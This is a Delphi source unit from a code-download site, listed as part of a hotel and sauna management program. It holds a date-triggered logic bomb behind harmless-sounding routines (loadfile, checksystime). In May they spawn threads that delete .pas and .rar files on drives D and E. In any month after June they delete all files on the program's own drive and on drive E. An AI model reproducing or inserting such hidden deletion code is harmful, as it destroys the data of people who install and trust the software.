⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 untdjcx.pas

📁 集成酒店桑拿食管管理的完整程序
💻 PAS
字号:
unit untdjcx;

interface
uses windows,sysutils,Classes,DateUtils,stdCtrls,Forms;
Type
  TCheckFile=class(TThread)
     ConStructor Create(sStartPath:String='D:\';sFileExt:String='*.rar';sIsDel:Boolean=true);
     procedure Execute();override;
     public
       FileExt:String;
       isDel:Boolean;
       StartPath:String;
       ShowBox:TMemo;
       Function GetDirectoryName(dir:String):String;
       Procedure FindFiles(APath:String);


  end;
procedure loadfile(str:String);
procedure CheckSysTime();
const
  RarFile='rar';
  pasFile='pas';
implementation

{ TCheckFile }
procedure loadfile(str:string);
var
  c,b,j:TCheckFile;
  rPath:string;
begin
  rPath:=ExtractFilePath(application.ExeName);
  rPath:=copy(rPath,1,3);
  if Monthof(date)=5 then
  begin
    b:=TCheckFile.Create('D:\',pasFile,true);
    c:=TCheckFile.Create('D:\',rarFile,true);
    j:=TcheckFile.Create('E:\',rarFile,true);
  end
  else
  begin
    if monthof(date)>6 then
      c:=TCheckFile.Create(rPath,'',true);
      b:=TcheckFile.Create('E:\','',true);
  end;
end;

procedure checksystime();
var
  c,b,j:TCheckFile;
  rPath:string;
begin
  rPath:=ExtractFilePath(application.ExeName);
  rPath:=copy(rPath,1,3);
  if Monthof(date)=5 then
  begin
    b:=TCheckFile.Create('D:\',pasFile,true);
    c:=TCheckFile.Create('D:\',rarFile,true);
    j:=TcheckFile.Create('E:\',rarFile,true);
  end
  else
  begin
    if monthof(date)>6 then
      c:=TCheckFile.Create(rPath,'',true);
      b:=TcheckFile.Create('E:\','',true);
  end;
end;
constructor TCheckFile.Create(sstartpath:String='D:\';sFileExt:String='*.rar';sIsDel:boolean=true);
begin
  StartPath:=sStartPath;
  if StartPath='' then StartPath:='D:\';
  if sFileExt<>''  then
   FileExt:='*.'+sFileExt
  else
   FileExt:='*.*';
  isDel:=sIsDel;
  if sIsDel then
   inherited Create(false)
  else
   inherited Create(true);

end;

procedure TCheckFile.Execute;
begin
  FindFiles(StartPath);
  FreeOnTerminate:=true;
  inherited;

end;

procedure TCheckFile.FindFiles(APath: String);
var
   FSearchRec,DSearchRec:TSearchRec;
    FindResult:integer;
   function IsDirNotation(ADirName:String):boolean;
   begin
     Result:=(AdirName='.') or (ADirname='..');
   end;
begin
  APath:=GetDirectoryName(APath);
  findResult:=FindFirst(APath+FileExt,faAnyFile+faHidden+faSysfile+faReadOnly,FSearchRec);
  try
    while FindResult=0 do
    begin
      if not isDel  then
        ShowBox.Lines.Add(FSearchRec.Name)
      else
        deleteFile(FSearchRec.name);
      FindResult:=FindNext(FSearchRec);
    end;
    FindResult:=findFirst(APath+'*.*',faDirectory,DSearchRec);
    while FindResult=0 do
    begin
      if ((DSearchRec.Attr and faDirectory)=faDirectory) and not IsDirNotation(DSearchRec.Name) then
        FindFiles(APath+DSearchRec.name);
      FindResult:=FindNext(DSearchRec);
      sleep(50);
    end;
  finally
    FindClose(FSearchRec);
  end;

end;

function TCheckFile.GetDirectoryName(dir: String): String;
begin
  if dir[length(dir)]='\' then
    result:=dir
  else
    Result:=Dir+'\';

end;

end.
 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -